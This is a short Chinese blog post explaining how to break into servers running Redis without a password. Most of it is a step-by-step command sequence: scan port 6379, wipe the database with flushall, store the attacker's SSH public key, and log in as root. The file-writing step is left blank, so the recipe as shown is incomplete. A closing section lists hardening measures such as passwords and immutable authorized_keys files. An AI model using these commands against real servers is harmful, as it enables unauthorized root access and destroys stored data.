通过Redis入侵服务器实现免密登录

2021-04-14  本文已影响0人  苦海飘摇

通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key(也就是密码)。然后通过向redis把自己的公钥写入到redis,然后利更改redis的数据库文件配置,把数据写入到认证文件。形成免密码登陆

一、生成本地ssh公钥

ssh-keygen

二、检测可用redis并尝试连接

telnet 192.168.88.136 6379  # 可以批量测试找到可用host
redis-cli -h 192.168.88.136  # 若没密码就能登录成功

三、清一下redis数据库

redis-cli -h 192.168.88.136 flushall

四、向redis写自己的公钥

cat id_rsa.pub | redis-cli -h 192.168.88.136 -x set redis

五、利用redis写入到文件中

六、远程连接

ssh root@192.168.88.136

防止redis入侵服务器的措施:

1、不要对外开放redis,也就是不要使用公网ip启动redis
2、更改redis默认的端口(默认是6379)
3、给reids加密码,在启动的以后,我们必须通过密码认证后才能操作
4、给 authorized_keys 文件加上特殊权限(chattr +i authorized_keys),不让别人在里面写内容
5、也可以给/root/.ssh 这个目录加上特殊权限(chattr +i /root/.ssh),这样即使是root用户也不能够在里面写东西

备注:
如果给redis加了密码以后,我们在启动的时候可以这样 redis-cli -h 192.168.88.136 -p 端口 -a 密码,也可以通过先登陆后认证的方式,也就是redis-cli -h 192.168.88.136 -p 端口 ,认证auth 密码
关闭的时候也一样redis-cli -h 192.168.88.136 -p 端口 -a 密码 shutdown

上一篇 下一篇

猜你喜欢

热点阅读